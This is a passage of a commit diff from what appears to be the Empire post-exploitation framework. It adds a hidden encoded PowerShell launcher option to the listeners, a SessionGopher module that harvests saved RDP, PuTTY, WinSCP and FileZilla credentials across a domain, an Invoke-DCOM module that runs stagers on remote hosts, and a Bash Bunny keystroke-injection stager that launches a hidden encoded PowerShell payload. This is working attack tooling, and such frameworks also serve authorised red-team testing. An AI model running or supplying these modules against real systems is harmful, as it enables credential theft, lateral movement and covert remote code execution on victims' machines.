if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager)
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager

View File

@ -45,6 +45,11 @@ class Listener:
'Required' : True,
'Value' : 80
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
@ -130,11 +135,13 @@ class Listener:
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
@ -181,6 +188,14 @@ class Listener:
# TODO: reimplement stager retries?
#Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
@ -207,7 +222,7 @@ class Listener:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager)
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager

View File

@ -42,6 +42,11 @@ class Listener:
'Required' : True,
'Value' : ''
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -w 1 -enc '
},
'RedirectStagingKey' : {
'Description' : 'The staging key for the redirect listener, extracted from RedirectListener automatically.',
'Required' : False,
@ -110,6 +115,7 @@ class Listener:
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
@ -186,7 +192,7 @@ class Listener:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager)
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager

View File

@ -0,0 +1,136 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Invoke-SessionGopher',
# List of one or more authors for the module
'Author': ['@arvanaghi, created at FireEye'],
# More verbose multi-line description of the module
'Description': ('Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla, '
'RDP, .ppk files, .rdp files, .sdtid files'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': None,
# True if the module needs admin rights to run
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# The language for this module
'Language': 'powershell',
# The minimum PowerShell version needed for the module to run
'MinLanguageVersion': '2',
# list of any references/other comments
'Comments': [
'Twitter: @arvanaghi | ',
'https://arvanaghi.com | ',
'https://github.com/fireeye/SessionGopher',
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Thorough' : {
'Description' : 'Switch. Searches entire filesystem for .ppk, .rdp, .sdtid files. Not recommended to use with -AllDomain due to time.',
'Required' : False,
'Value' : ''
},
'u' : {
'Description' : 'User account (e.g. corp.com\jerry) for when using -Target, -iL, or -AllDomain. If not provided, uses current security context.',
'Required' : False,
'Value' : ''
},
'p' : {
'Description' : 'Password for user account (if -u argument provided).',
'Required' : False,
'Value' : ''
},
'Target' : {
'Description' : 'Provide a single host to run remotely against. Uses WMI.',
'Required' : False,
'Value' : ''
},
'o' : {
'Description' : 'Switch. Drops a folder of all output in .csvs on remote host.',
'Required' : False,
'Value' : ''
},
'AllDomain' : {
'Description' : 'Switch. Run against all computers on domain. Uses current security context, unless -u and -p arguments provided. Uses WMI.',
'Required' : False,
'Value' : ''
},
'iL' : {
'Description' : 'Provide path to a .txt file on the remote host containing hosts separated by newlines to run remotely against. Uses WMI.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-SessionGopher.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "Invoke-SessionGopher"
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

View File

@ -0,0 +1,132 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-DCOM',
'Author': ['@rvrsh3ll'],
'Description': ('Executes a stager on remote hosts using DCOM.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Host[s] to execute the stager on, comma separated.',
'Required' : True,
'Value' : ''
},
'Method' : {
'Description' : 'COM method to use.',
'Required' : True,
'Value' : 'ShellWindows'
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
listenerName = self.options['Listener']['Value']
method = self.options['Method']['Value']
computerName = self.options['ComputerName']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-DCOM.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
script += "Invoke-DCOM -ComputerName %s -Method %s -Command '%s'" % (computerName, method, stagerCmd)
script += "| Out-String | %{$_ + \"`n\"};"
return script

View File

@ -34,7 +34,7 @@ class Module:
self.options = {
'Agent' : {
'Description' : 'Agent to grab a screenshot from.',
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},

View File

@ -0,0 +1,117 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'BunnyLauncher',
'Author': ['@kisasondi','@harmj0y'],
'Description': ('Generates a bunny script that runes a one-liner stage0 launcher for Empire.'),
'Comments': [
'This stager is modification of the ducky stager by @harmj0y,',
'Current other language (keyboard layout) support is trough DuckyInstall from https://github.com/hak5/bashbunny-payloads'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'powershell'
},
'Keyboard' : {
'Description' : 'Use a different layout then EN. Add a Q SET_LANGUAGE stanza for various keymaps, try DE, HR...',
'Required' : False,
'Value' : ''
},
'Interpreter' : {
'Description' : 'Interpreter for code (Defaults to powershell, since a lot of places block cmd.exe)',
'Required' : False,
'Value' : 'powershell'
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output duckyscript to, otherwise displayed on the screen.',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
interpreter = self.options['Interpreter']['Value']
keyboard = self.options['Keyboard']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
enc = launcher.split(" ")[-1]
bunnyCode = "#!/bin/bash\n"
bunnyCode += "LED R G\n"
bunnyCode += "source bunny_helpers.sh\n"
bunnyCode += "ATTACKMODE HID\n"
if keyboard != '':
bunnyCode += "Q SET_LANGUAGE " + keyboard + "\n"
bunnyCode += "Q DELAY 500\n"
bunnyCode += "Q GUI r\n"
bunnyCode += "Q STRING " + interpreter + "\n"
bunnyCode += "Q ENTER\n"
bunnyCode += "Q DELAY 500\n"
bunnyCode += "Q STRING powershell -W Hidden -nop -noni -enc "+enc+"\n"
bunnyCode += "Q ENTER\n"
bunnyCode += "LED R G B 200\n"
return bunnyCode

View File

@ -7,7 +7,7 @@ class Stager:
self.info = {
'Name': 'DuckyLauncher',
'Author': ['@harmj0y'],
'Author': ['@harmj0y','@kisasondi'],
'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'),
@ -30,6 +30,11 @@ class Stager:
'Required' : True,
'Value' : 'powershell'
},
'Interpreter' : {
'Description' : 'Which interpreter do you want? (powershell or cmd)',
'Required' : False,
'Value' : 'powershell'
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
@ -82,6 +87,7 @@ class Stager:
# extract all of our options
language = self.options['Language']['Value']
interpreter = self.options['Interpreter']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
@ -97,7 +103,7 @@ class Stager:
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
if launcher == "" or interpreter == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
@ -106,7 +112,7 @@ class Stager:
duckyCode = "DELAY 3000\n"
duckyCode += "GUI r\n"
duckyCode += "DELAY 1000\n"
duckyCode += "STRING cmd\n"
duckyCode += "STRING "+ interpreter + "\n"
duckyCode += "ENTER\n"
duckyCode += "DELAY 2000\n"
if obfuscateScript and "launcher" in obfuscateCommand.lower():

1
setup/bomutils Submodule

@ -0,0 +1 @@
Subproject commit 3f7dc2dbbc36ca1c957ec629970026f45594a52c

View File

@ -26,6 +26,7 @@ if lsb_release -d | grep -q "Fedora"; then
pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
elif lsb_release -d | grep -q "Kali"; then
Release=Kali
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
@ -39,18 +40,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
if ! which powershell > /dev/null; then
apt-get install -y libunwind8
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
apt-get install -f -y
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
fi
mkdir -p /usr/local/share/powershell/Modules
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
pip install netifaces
elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
@ -65,18 +55,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
pip install pyopenssl
pip install pyinstaller
pip install zlib_wrapper
if ! which powershell > /dev/null; then
apt-get install -y libunwind8
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
apt-get install -f -y
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
fi
mkdir -p /usr/local/share/powershell/Modules
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
pip install netifaces
else
echo "Unknown distro - Debian/Ubuntu Fallback"
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
@ -91,18 +70,7 @@ else
pip install pyOpenSSL
pip install pyinstaller
pip install zlib_wrapper
if ! which powershell > /dev/null; then
apt-get install -y libunwind8
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
apt-get install -f -y
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb
fi
mkdir -p /usr/local/share/powershell/Modules
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
pip install netifaces
fi
tar -xvf ../data/misc/xar-1.5.2.tar.gz
(cd xar-1.5.2 && ./configure)